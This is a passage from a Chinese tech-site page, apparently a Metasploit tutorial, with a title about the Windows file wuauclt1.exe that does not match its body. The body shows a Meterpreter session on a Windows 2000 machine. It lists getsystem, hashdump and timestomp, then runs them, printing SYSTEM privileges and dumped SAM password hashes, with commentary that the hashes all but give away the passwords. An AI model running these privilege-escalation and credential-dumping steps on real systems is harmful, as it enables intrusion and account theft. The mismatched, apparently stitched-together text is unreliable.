wuauclt1.exe_wuauclt1exe能删除吗_关闭wuauclt.exe(9)

Priv: Elevate Commands

======================

Command Description

——- ———–

getsystem Attempt to elevate your privilege to that of localsystem.

Priv: Password database Commands

================================

Command Description

——- ———–

hashdump Dumps the contents of the SAM database

Priv: Timestomp Commands

========================

Command Description

——- ———–

timestomp Manipulate file MACE attributes

meterpreter >

看到了吧，很强大！

meterpreter > getuid

Server username: NT AUTHORITYSYSTEM

meterpreter > sysinfo

Computer : 2000ADSRVEN

OS : Windows 2000 (Build 2195, Service Pack 4).

Architecture : x86

System Language : en_US

Meterpreter : x86/win32

获得当前的系统信息

meterpreter > hashdump

Administrator:500:01fc5a6be7bc6929aad3b435b51404ee:0cb6948805f797bf2a82807973b89537:::

GuestVD:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d26ef143374b85e088e8fd6cfa23b6c3:::

TsInternetUser?:1000:93d52434d77e49a5254ddde1f8ceea44:0a9fbeb0dcb3920a5a998d235b4091:::

IUSR_2000ADSRVEN:4:1001:24efe7c8a2d071151ae80e959ed56390:5f2d4a0bff72b9bff9711c1a19938de7:::

IWAM_2000ADSRVEN:1002:6d64ce9c9d6ebf8252e3494ee397943f:98f07977d5ad5ec292f37d75b8b9a037:::

2000ADSRVEN$:1007:aad3b435b51404eeaad3b435b51404ee:ccaad1a7288661ac9f70c9207436cc:::

获得hash值了，也就意味着基本上获得了用户名密码

meterpreter > ps

Process list

============

PID Name Arch Session User Path

— —- —- ——- —- —-

0 [System Process] x86

8 System x86 0 NT AUTHORITYSYSTEM

160 smss.exe x86 0 NT AUTHORITYSYSTEMSystemRootSystem32smss.exe

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-28348-9.html